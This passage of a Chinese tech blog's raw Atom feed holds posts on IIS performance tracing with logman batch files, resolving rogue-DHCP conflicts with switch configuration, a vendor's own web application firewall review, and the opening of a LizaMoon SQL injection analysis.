padding-bottom: 0px; padding-left: 0px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f5f5ef; border-top-width: 1px; border-top-style: solid; border-top-color: #e7e7d8; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #e7e7d8; background-position: initial initial; background-repeat: initial initial; "&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 6px; padding-bottom: 6px; padding-left: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; line-height: 18px; "&gt;&lt;br /&gt;del summary.txt&lt;br /&gt;del workload.txt&lt;br /&gt;C:\windows\system32\logman start "NT Kernel Logger" -p "Windows Kernel Trace" (process,thread,disk) -ct perf -o krnl.etl -ets&lt;br /&gt;C:\windows\system32\logman start "IIS Trace" -pf iistrace.guid -ct perf -o iis.etl -ets&lt;br /&gt;@echo 取样分析建议10分钟以内，请及时点击 &amp;#8220;停止分析并生成报告&amp;#8221; 命令...&lt;br /&gt;pause&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;保存为start.bat&lt;br /&gt;&lt;div codepanel"="" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f5f5ef; border-top-width: 1px; border-top-style: solid; border-top-color: #e7e7d8; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #e7e7d8; background-position: initial initial; background-repeat: initial initial; "&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 6px; padding-bottom: 6px; padding-left: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; line-height: 18px; "&gt;&lt;br /&gt;C:\windows\system32\logman stop "IIS Trace" -ets&lt;br /&gt;C:\windows\system32\logman stop "NT Kernel Logger" -ets&lt;br /&gt;C:\windows\system32\tracerpt iis.etl krnl.etl -o -report -summary&lt;br /&gt;del dumpfile.csv&lt;br /&gt;del iis.etl&lt;br /&gt;del krnl.etl&lt;br /&gt;notepad.exe workload.txt&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;保存为stop.bat&lt;br /&gt;&lt;br /&gt;执行start.bat&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;十分钟后执行stop.bat&amp;nbsp;&amp;nbsp;就能获取 10分钟内所有的IIS请求 并且有统计结果 包括响应速率 cpu使用率 请求次数等&lt;/span&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/Safe3/aggbug/2108558.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Safe3/archive/2011/07/17/2108558.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Safe3/archive/2011/07/13/2105300.html</id><title type="text">酒店宾馆IP冲突解决办法</title><summary type="text">客人在我所供职的酒店上网的时候，经常会弹出一个对话框，显示一些提示，如上网的注意事项和消费标准等信息;并且有自己的电影和歌曲服务器，DHCP-server也是其中的一台服务器，宾馆、酒店就是用这台机器，为客户分配IP地址提供上网功能，即客户把自己的计算机连上网线，网卡配置自动获取IP地址，就会从动态主机配置协议(DHCP)服务器分配到一个IP地址;采用DHCP server可以自动为用户设置网络IP地址、掩码、网关、DNS、Wins 等网络参数，简化了用户网络设置，提高了管理效率。 那么我们的问题也出现了:常见的，很多用户抱怨用这种方法上不了网，但不是所有客户都上不了网。经过调查发现，住宾馆、</summary><published>2011-07-13T06:29:00Z</published><updated>2011-07-13T06:29:00Z</updated><author><name>Safe3</name><uri>http://www.cnblogs.com/Safe3/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Safe3/archive/2011/07/13/2105300.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Safe3/archive/2011/07/13/2105300.html"/><content type="html">&lt;div&gt;&lt;span style="font-family: arial, ����; line-height: 22px; font-size: 12px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "&gt;&lt;p&gt;客人在我所供职的酒店上网的时候，经常会弹出一个对话框，显示一些提示，如上网的注意事项和消费标准等信息;并且有自己的电影和歌曲服务器，DHCP-server也是其中的一台服务器，宾馆、酒店就是用这台机器，为客户分配IP地址提供上网功能，即客户把自己的计算机连上网线，网卡配置自动获取IP地址，就会从动态主机配置协议(DHCP)服务器分配到一个IP地址;采用DHCP server可以自动为用户设置网络IP地址、掩码、网关、DNS、Wins 等网络参数，简化了用户网络设置，提高了管理效率。&amp;nbsp;&lt;br /&gt;　　那么我们的问题也出现了:常见的，很多用户抱怨用这种方法上不了网，但不是所有客户都上不了网。经过调查发现，住宾馆、酒店的人绝大多数是商务人员和工程师，他们携带的手提电脑一般安装的是Windows server版本，server版本默认启动了DHCP server功能，当一台这样的计算机连入网络，在他之后的计算机就会把他当成DHCP服务器，并被分配了不正确的IP地址，从而上不了网。&lt;/p&gt;&lt;p&gt;DHCP服务器地址分配方式&lt;/p&gt;&lt;p&gt;DHCP是一种用于简化主机IP配置管理的协议标准。通过采用DHCP标准，可以使用DHCP服务器为网络上所有启用了DHCP的客户端分配、配置、跟踪和更改(必要时)所有TCP/IP设置。此外，DHCP还可以确保不使用重复地址、重新分配未使用的地址，并且可以自动为主机连接的子网分配适当的IP地址。当一个网络中，有2个或2个以上的DHCP服务器时，提醒切勿将DHCP地址池定义的过大，以免多个地址池之间出现"包含于"的关系，或者是部分客户端手工指定的IP地址包含于DHCP服务器的地址池中，从而造成DHCP的一些异常故障。&lt;/p&gt;&lt;p&gt;针对不同的需求，DHCP服务器有三种机制分配IP地址:&lt;/p&gt;&lt;p&gt;自动分配 DHCP服务器给首次连接到网络的某些客户端分配固定IP地址，该地址由用户长期使用;&lt;/p&gt;&lt;p&gt;动态分配 DHCP服务器给客户端分配有时间限制的IP地址，使用期限到期后，客户端需要重新申请地址，客户端也可以主动释放该地址。绝大多数客户端主机得到的是这种动态分配的地址;&lt;/p&gt;&lt;p&gt;手动分配 由网络管理员为客户端指定固定的IP地址。&lt;/p&gt;&lt;p&gt;三种地址分配方式中，只有动态分配可以重复使用客户端不再需要的地址。&lt;/p&gt;&lt;p&gt;每项技术都是有利有弊的，DHCP也不例外，由于DHCP有着配置简单，管理方便的优点，问题也随之产生，由于DHCP的运作机制，通常服务器和客户端没有认证机制，如果网络上存在多台DHCP服务器将会给网络造成混乱。由于用户不小心配置了DHCP服务器引起的网络混乱非常常见，足可见此问题的普遍性。&lt;/p&gt;&lt;p&gt;本人在从事网络工作的几年里，遇到过很多问题，其中有关DHCP-server冲突的不在少数，在解决问题的同时也总结了一些经验，在这里简单介绍一下，与大家分享，希望给在解决此类问题的同行一些帮助，也希望广大高手指出其中的不足和需要改进的地方。&lt;/p&gt;&lt;p&gt;DHCP服务器冲突的解决方法&lt;/p&gt;&lt;p&gt;使用DHCP snooping技术来解决&lt;/p&gt;&lt;p&gt;针对这种DHCP服务器冲突的解决方法有很多，最直接的方法就是贴告示，让入住的客户在上网时关闭Windows的DHCP网络服务，这个选项在&amp;#8216;控制面板'，&amp;#8216;管理工具'里的&amp;#8216;DHCP网络服务'，进入关闭即可。这里要注意的是，非server版的Windows不用关闭，并且不要把&amp;#8216;控制面板'，&amp;#8216;管理工具'，&amp;#8216;服务'中的DHCP client给停止了，这样是分配不到地址的。&lt;/p&gt;&lt;p&gt;当然上面的方法比较被动也不合常理，更不便于我们网络的管理，所以还是应该从我们网络本身出发来解决问题。&lt;/p&gt;&lt;p&gt;既然是DHCP的问题，那么我们就用DHCP的技术来解决问题，比较有代表的就是DHCP snooping技术。DHCP snooping技术是DHCP安全特性，通过建立和维护DHCP snooping绑定表过滤不可信任的DHCP信息，这些信息是指来自不信任区域的DHCP信息。DHCP snooping绑定表包含不信任区域的用户mac地址、IP地址、租用期、vlan-id接口等信息。&lt;/p&gt;&lt;p&gt;首先定义交换机上的信任端口和不信任端口，其中信任端口连接DHCP服务器或其他交换机的端口;不信任端口连接用户或网络。不信任端口将接收到的DHCP服务器响应的DHCP ack 和DHCP off报文丢弃;而信任端口将此DHCP报文正常转发，从而保证了用户获取正确的IP地址。具体配置如下:&lt;br /&gt;配置中的命令都是以CISCO的设备为基础，但不管是哪个公司的设备，总体设计思想是一致的，不同的可能在命令格式上略有差异，工作人员应该根据具体的实际情况来解决相应的问题。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;　　在全局模式下启动DHCP snooping功能，这个默认是关闭的，而且不是所有设备都支持这个功能，最好先看使用说明。&lt;/p&gt;&lt;p&gt;switch(config)#ip dhcp-snooping&lt;/p&gt;&lt;p&gt;如果有vlan就使用下面的命令来监测具体的vlan&lt;/p&gt;&lt;p&gt;switch(config)#ip dhcp-snooping vlan vlan-id&lt;/p&gt;&lt;p&gt;然后定义可信任的端口，默认情况交换机的端口均为不信任端口，通常网络设备接口， TRUNK 接口和连接DHCP服务器的端口定义为可信任端口。&lt;/p&gt;&lt;p&gt;switch(config)#int f0/x&lt;/p&gt;&lt;p&gt;switch(config-if)#ip dhcp snooping trust&lt;/p&gt;&lt;p&gt;使用PVLAN技术来解决&lt;/p&gt;&lt;p&gt;有很多二层的技术可以防止DHCP-server冲突的，PVLAN就是其中一个运用比较广的技术。&lt;/p&gt;&lt;p&gt;PVLAN私有局域网(private vlan)，在PVLAN的概念里，端口有3种类型:Isolated port，Community port, Promiscuous port;它们分别对应不同的vlan类型:Isolated port属于Isolated PVLAN，Community port属于Community PVLAN，而代表一个Private vlan整体的是Primary vlan，前面两类vlan需要和它绑定在一起，同时它还包括Promiscuous port。在Isolated PVLAN中，Isolated port只能和Promiscuous port，彼此之间不能访问;在Community PVLAN中，vlan与vlan之间都不能访问，同一Community vlan的接口可以互相访问，并且所有Community vlan的接口都可以与Promiscuous port进行通信。利用这项技术，我们可以把上连或连接DHCP服务器的接口定义为Promiscuous port，其他接口分配到Isolated vlan里，这样所有接口都只能与上连或DHCP服务器进行通信，即使有一台机器设为DHCP服务器，其他机器也不会与它产生流量，把它做为服务器。&lt;/p&gt;&lt;p&gt;利用这个技术解决DHCP-server冲突的方法有很多，也很灵活，下面介绍一种比较简单的方法，也是用的比较多的:&lt;/p&gt;&lt;p&gt;首先把交换机配置成transparents模式:&lt;/p&gt;&lt;p&gt;switch(config)#vtp mode transparent&lt;/p&gt;&lt;p&gt;顺便可以打开端口的保护功能，它的意思是打开端口保护的端口之间不能访问，但打开保护的端口可以与没有开启此项功能的端口通信，可以根据自己的需求来打开保护功能:&lt;/p&gt;&lt;p&gt;switch(config)#int range f0/124&lt;/p&gt;&lt;p&gt;switch(config-if-range)#switchitchport protected&lt;/p&gt;&lt;p&gt;建立isolated vlan和primary vlan，把isolated vlan定义为primary lan的附属vlan，因为要与primary互相访问:&lt;/p&gt;&lt;p&gt;switch(config)#vlan 14&lt;/p&gt;&lt;p&gt;switch(config-vlan)private-vlan isolated&lt;/p&gt;&lt;p&gt;switch(config)#vlan 44&lt;/p&gt;&lt;p&gt;switch(config-vlan)#private-vlan primary&lt;/p&gt;&lt;p&gt;switch(config-vlan)#private-vlan association 14&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/Safe3/aggbug/2105300.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Safe3/archive/2011/07/13/2105300.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Safe3/archive/2011/06/23/2087936.html</id><title type="text">Safe3 Web应用防火墙14.1版评测</title><summary type="text">四年前的今天，一款名为“Safe3Web应用防火墙”的网站安全防护软件华丽面世，从这时开始国内服务器安防领域开始进入到全新时代。昨天安全伞网络科技公司正式发布了Safe3Web应用防火墙14.1企业版，版本号也由之前的13.X升级为14.1周年预览版。 一般来说如此大幅度的版本升级常常都意味着重大功能的加入，那么这次Safe3Web应用防火墙又会给我们带来哪些惊喜？下面就让我们一同来看一看。软件名称：Safe3Web应用防火墙软件版本：14.1周年版预览版软件大小：4.9M软件授权：试用版适用平台：Win2000Win2003Win2008（32、64位）下载地址：Safe3Web应用防火墙.</summary><published>2011-06-23T06:31:00Z</published><updated>2011-06-23T06:31:00Z</updated><author><name>Safe3</name><uri>http://www.cnblogs.com/Safe3/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Safe3/archive/2011/06/23/2087936.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Safe3/archive/2011/06/23/2087936.html"/><content type="html">&lt;div&gt;&lt;span style="font-family: 宋体; line-height: 24px; "&gt;&lt;p style="margin-top: 1.12em; margin-right: 0px; margin-bottom: 1.12em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;/p&gt;&lt;div&gt;&lt;span style="line-height: normal; font-size: small; border-collapse: collapse; "&gt;　　四年前的今天，一款名为&amp;#8220;Safe3&amp;nbsp;Web应用防火墙&amp;#8221;的网站安全防护软件华丽面世，从这时开始国内服务器安防领域开始进入到全新时代。昨天安全伞网络科技公司正式发布了Safe3&amp;nbsp;Web应用防火墙&amp;nbsp;14.1企业版，版本号也由之前的13.X升级为14.1&amp;nbsp;周年预览版。&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; word-wrap: break-word; " /&gt;　　一般来说如此大幅度的版本升级常常都意味着重大功能的加入，那么这次Safe3&amp;nbsp;Web应用防火墙又会给我们带来哪些惊喜？下面就让我们一同来看一看。&lt;/span&gt;&lt;/div&gt;&lt;p style="margin-top: 1.12em; margin-right: 0px; margin-bottom: 1.12em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;/p&gt;&lt;p style="margin-top: 1.12em; margin-right: 0px; margin-bottom: 1.12em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: center; "&gt;&lt;/p&gt;&lt;table border="1" cellspacing="0" bordercolor="#000000" cellpadding="5" width="434" align="center" style="text-align: left; border-collapse: collapse; font-size: 12px; "&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor="#0476b3" width="110" align="center"&gt;&lt;strong style="color: #ffffff; "&gt;软件名称：&lt;/strong&gt;&lt;/td&gt;&lt;td width="298" align="left"&gt;&lt;div&gt;&lt;span style="font-size: small; "&gt;Safe3&amp;nbsp;Web应用防火墙&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td bgcolor="#0476b3" align="center"&gt;&lt;strong style="color: #ffffff; "&gt;软件版本：&lt;/strong&gt;&lt;/td&gt;&lt;td align="left"&gt;&lt;div&gt;&lt;span style="font-size: small; "&gt;14.1&amp;nbsp;周年版预览版&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td bgcolor="#0476b3" align="center"&gt;&lt;strong style="color: #ffffff; "&gt;软件大小：&lt;/strong&gt;&lt;/td&gt;&lt;td align="left"&gt;4.9M&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td bgcolor="#0476b3" align="center"&gt;&lt;strong style="color: #ffffff; "&gt;软件授权：&lt;/strong&gt;&lt;/td&gt;&lt;td align="left"&gt;&lt;div&gt;&lt;span style="font-size: small; "&gt;试用版&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td bgcolor="#0476b3" align="center"&gt;&lt;strong style="color: #ffffff; "&gt;适用平台：&lt;/strong&gt;&lt;/td&gt;&lt;td align="left"&gt;&lt;div&gt;&lt;span style="font-size: small; "&gt;Win2000&amp;nbsp;Win2003&amp;nbsp;Win2008&amp;nbsp;（32、64位）&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td bgcolor="#0476b3" align="center"&gt;&lt;strong style="color: #ffffff; "&gt;下载地址：&lt;/strong&gt;&lt;/td&gt;&lt;td align="left"&gt;&lt;u style="color: #d50000; font-weight: bold; "&gt;&lt;div&gt;&lt;a target="_blank" href="http://dl.pconline.com.cn/html_2/1/63/id=41037&amp;amp;pn=0.html" style="color: #000000; text-decoration: none; "&gt;&lt;span style="font-weight: normal; font-size: small; "&gt;&lt;u style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; word-wrap: break-word; "&gt;&lt;/u&gt;&lt;/span&gt;&lt;/a&gt;&lt;u style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; word-wrap: break-word; "&gt;&lt;a href="http://www.safe3.com.cn/safe3.rar" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; word-wrap: break-word; color: #336699; text-decoration: none; "&gt;Safe3&amp;nbsp;Web应用防火墙&lt;/a&gt;&lt;/u&gt;&lt;/div&gt;&lt;/u&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p style="margin-top: 1.12em; margin-right: 0px; margin-bottom: 1.12em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;/p&gt;&lt;p style="margin-top: 1.12em; margin-right: 0px; margin-bottom: 1.12em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;span style="line-height: normal; font-size: small; border-collapse: collapse; "&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; word-wrap: break-word; " /&gt;&lt;strong style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; word-wrap: break-word; "&gt;一、安装与界面&lt;/strong&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; word-wrap: break-word; " /&gt;　　安装过程一如既往地简洁，不过由于新功能的加入，体积较上一版略有增加，达到了4.9MB。整个过程依旧由解压、选择32位或64位安装包、&amp;#8220;安装路径&amp;#8221;等几个关键步骤组成，除了版本号略有调整外，其余基本上与13.X版无异。&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; word-wrap: break-word; " /&gt;　　Safe3&amp;nbsp;Web应用防火墙一向不在安装过程中捆绑其他软件，我们大可放心地一路点击&amp;#8220;下一步&amp;#8221;完成安装，即便没有太多的电脑应用基础也不用发愁。&lt;/span&gt;&lt;/div&gt;&lt;p style="text-align: center;"&gt;&lt;img src="http://images.cnblogs.com/cnblogs_com/safe3/install.jpg" border="0" alt="" width="502" height="386" /&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="text-align: center;"&gt;图1 安装截图&lt;/p&gt;&lt;p&gt;首次启动后软件将出现功能面板，其中左侧可以直接链接到对应的功能，能够帮助用户更快捷地掌握新功能的位置与属性。&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;img src="http://images.cnblogs.com/cnblogs_com/safe3/main.jpg" border="0" alt="" width="622" height="425" /&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="text-align: center;"&gt;图2 新版主界面&amp;nbsp;&lt;/p&gt;&lt;div&gt;&lt;p style="margin-top: 1.12em; margin-right: 0px; margin-bottom: 1.12em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;strong&gt;二、 实测软件功能&lt;/strong&gt;&lt;/p&gt;&lt;p style="margin-top: 1.12em; margin-right: 0px; margin-bottom: 1.12em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;如何提高安全软件的黑客防御能力，一直都是很多厂商都感头疼的问题，虽然web应用防火墙逐渐普及，可大多数厂商仍在不断提高自家产品的拦截性能。在&lt;span  style="line-height: normal; font-size: small; border-collapse: collapse; "&gt;&lt;span style="font-size: 12px;"&gt;Safe3 Web应用防火墙&lt;/span&gt;14.1&lt;/span&gt;中，笔者终于见识了什么叫&amp;#8220;韩信点兵、多多益善&amp;#8221;。&lt;/p&gt;&lt;/div&gt;&lt;p&gt;除了传统的web安全防护以外，Safe3 Web应用防火墙加入了web杀毒、网站监控、篡改检查等诸多实用功能，从而让Safe3 Web应用防火墙成为了一款真正意义上的全功能web信息安全产品。当然正所谓&amp;#8220;无图无真相&amp;#8221;，究竟实用功能能否为Safe3 Web应用防火墙创造奇迹，我们决定还是通过一个真实的评测看一下！&amp;nbsp;&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;img src="http://images.cnblogs.com/cnblogs_com/safe3/wafsql.jpg" border="0" alt="" width="622" height="425" /&gt;&lt;/p&gt;&lt;p style="text-align: center;"&gt;图3 &amp;#8220;传说&amp;#8221;中的sql注入保护功能&amp;nbsp;&lt;/p&gt;&lt;p&gt;和很多专业web应用防火墙一样，Safe3 web应用防火墙也加入了GET和Cookie防注入功能，但是除了这两种保护还有POST sql防注入功能，这个是微软官方开发的产品UrlScan所不具备的。另外软件还内置了安全伞科技多年积累的超强sql注入防护规则，而市面上很多类似产品黑客可轻易绕过防注入，软件形同虚设。 对于高级web管理员，对sql注入和正则表达式比较熟悉的还可以自定sql防注入规则。&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;img src="http://images.cnblogs.com/cnblogs_com/safe3/wafmonitor.jpg" border="0" alt="" width="622" height="425" /&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="text-align: center; "&gt;图4 功能强大的网站监控功能&amp;nbsp;&lt;/p&gt;&lt;p&gt;网站被黑客上传web后门在平时并不鲜见。而由于web程序员水平参差不齐，很难找出黑客的web后门和漏洞所在网页，而要想杜绝这种问题，光靠web程序员的大海捞针显然不足。&amp;nbsp;这时你就可以使用网站监控功能，它可以监控记录指定类型文件的修改、删除、重命名等所有改动，让黑客对网页的一举一动都在我们的监视之下。我们还可以勾选删除指定类型的新建文件，比如asp文件，这样黑客上传的asp网站后门就可以轻松被干掉，从而杜绝网页上传漏洞带来的进一步危机。&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;img src="http://images.cnblogs.com/cnblogs_com/safe3/2.jpg" border="0" alt="" width="634" height="525" /&gt;&lt;/p&gt;&lt;p style="text-align: center; "&gt;图5 强力的网站后门扫描功能&lt;/p&gt;&lt;div&gt;&lt;p style="margin-top: 5px; margin-right: auto; margin-bottom: 5px; margin-left: auto; text-indent: 0px; "&gt;Safe3 web应用防火墙率先在国内推出第一款第一款能完全扫描网站后门的全功能web杀毒软件。由于软件采用智能脚本解析扫描引擎，查杀率在国内同类产品中摇摇领先。&lt;/p&gt;&lt;p style="text-align: center; "&gt;&lt;img src="http://images.cnblogs.com/cnblogs_com/safe3/wafreport.jpg" border="0" alt="" width="818" height="399" /&gt;&lt;/p&gt;&lt;p style="text-align: center; "&gt;图6 人性化的日志查看功能&amp;nbsp;&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;img src="http://images.cnblogs.com/cnblogs_com/safe3/waflog.jpg" border="0" alt="" width="610" height="484" /&gt;&lt;/p&gt;&lt;p style="text-align: center;"&gt;图7 详尽的报表功能&amp;nbsp;&lt;/p&gt;&lt;p&gt;Safe3 web应用防火墙具有企业化的防火墙日志查询功能，并且可以导出详细的日志查看报表，这不仅方便网站管理员分析查看黑客攻击，还可以生成报表便于领导查看。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span  style="font-family: 宋体, tahoma; "&gt;&lt;strong style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; font-style: normal; color: #000000; word-wrap: break-word; word-break: break-all; "&gt;总&lt;/strong&gt;&lt;strong style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; font-style: normal; color: #000000; word-wrap: break-word; word-break: break-all; "&gt;结&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span  style="font-family: 宋体, tahoma; "&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;作为一整套完整的企业web信息安全产品，Safe3 web应用防火墙集成了黑客攻击防御、&lt;span  style="font-family: 宋体; "&gt;&lt;span  style="font-family: 宋体, tahoma; "&gt;后门查杀、网站监控、篡改检查、报表生成等多项安全防护及企业报表功能，已经发展成为一款复合型的优秀网站安全产品。此次发布的Safe3 web应用防火墙14.1&lt;span  style="font-family: 宋体; "&gt;&lt;span  style="font-family: 宋体, tahoma; "&gt;则是安全伞网络科技发展史上一个里程碑式的作品，可以说&lt;span  style="font-family: 宋体, &amp;nbsp;tahoma; line-height: 21px; border-collapse: collapse; "&gt;，Safe3 web应用防火墙是一款融入健康理念的安全产品&lt;/span&gt;，它不仅仅以保护网站安全为使命，更把保护网络健康为责任，相信Safe3 web应用防火墙一定能够成为每一位站长的必备软件！&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style="margin-top: 1.12em; margin-right: 0px; margin-bottom: 1.12em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/Safe3/aggbug/2087936.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Safe3/archive/2011/06/23/2087936.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Safe3/archive/2011/06/03/2072213.html</id><title type="text">SQL Injection</title><summary type="text">SQL injection is an attack in which malicious code is inserted into strings that are later passed to an instance of SQL Server for parsing and execution. Any procedure that constructs SQL statements should be reviewed for injection vulnerabilities because SQL Server will execute all syntactically v.</summary><published>2011-06-03T13:12:00Z</published><updated>2011-06-03T13:12:00Z</updated><author><name>Safe3</name><uri>http://www.cnblogs.com/Safe3/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Safe3/archive/2011/06/03/2072213.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Safe3/archive/2011/06/03/2072213.html"/><content type="html">该文被密码保护。</content></entry><entry><id>http://www.cnblogs.com/Safe3/archive/2011/06/03/2072212.html</id><title type="text">Analysis of LizaMoon: Stored XSS via SQL Injection</title><summary type="text">Blended AttacksMore and more of today&amp;#39;s web application attacks are leveraging multiple weaknesses, vulnerabilities and attack methods in order to achieve a desired exploitation outcome. It is becoming more and more difficult to neatly place an attack into one specific container (such as XSS, SQ</summary><published>2011-06-03T13:09:00Z</published><updated>2011-06-03T13:09:00Z</updated><author><name>Safe3</name><uri>http://www.cnblogs.com/Safe3/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Safe3/archive/2011/06/03/2072212.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Safe3/archive/2011/06/03/2072212.html"/><content type="html">&lt;span  style="word-spacing: 0px; font: medium Simsun; text-transform: none; color: rgb(0,0,0); text-indent: 0px; white-space: normal; letter-spacing: normal; border-collapse: separate; orphans: 2; widows: 2; webkit-border-horizontal-spacing: 0px; webkit-border-vertical-spacing: 0px; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px"&gt;&lt;span  style="font-size: 15px; color: rgb(51,51,51); line-height: 18px; font-family: Helvetica, Verdana, 'Arial sans-serif'; text-align: left"&gt; &#xD;
&lt;p style="margin-top: 15px; margin-bottom: 15px"&gt;&lt;span style="font-weight: bold; font-size: 28px"&gt;Blended Attacks&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;div&gt;More and more of today's web application attacks are leveraging multiple weaknesses, vulnerabilities and attack methods in order to achieve a desired exploitation outcome. It is becoming more and more difficult to neatly place an attack into one specific container (such as XSS, SQL Injection, etc...). &amp;nbsp;&lt;em&gt;&lt;strong&gt;These are blended attacks.&lt;/strong&gt;&lt;/em&gt;&lt;/div&gt;&#xD;
&lt;h1 style="margin-top: 10px; font-weight: bold; font-size: 15pt; margin-bottom: 10px"&gt;LizaMoon Attacks&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;div&gt;As most of you have already heard, or have faced yourselves, the LizaMoon mass SQL Injection attacks are still going strong on the web. Here is a recent entry from the&lt;span &gt;&amp;nbsp;&lt;/span&gt;&lt;a style="color: rgb(60,95,23); text-decoration: underline" href="http://projects.webappsec.org/w/page/13246995/Web-Hacking-Incident-Database" target="_self"&gt;WASC Web Hacking Incident Database (WHID)&lt;/a&gt;&lt;span &gt;&amp;nbsp;&lt;/span&gt;-&lt;/div&gt;&#xD;
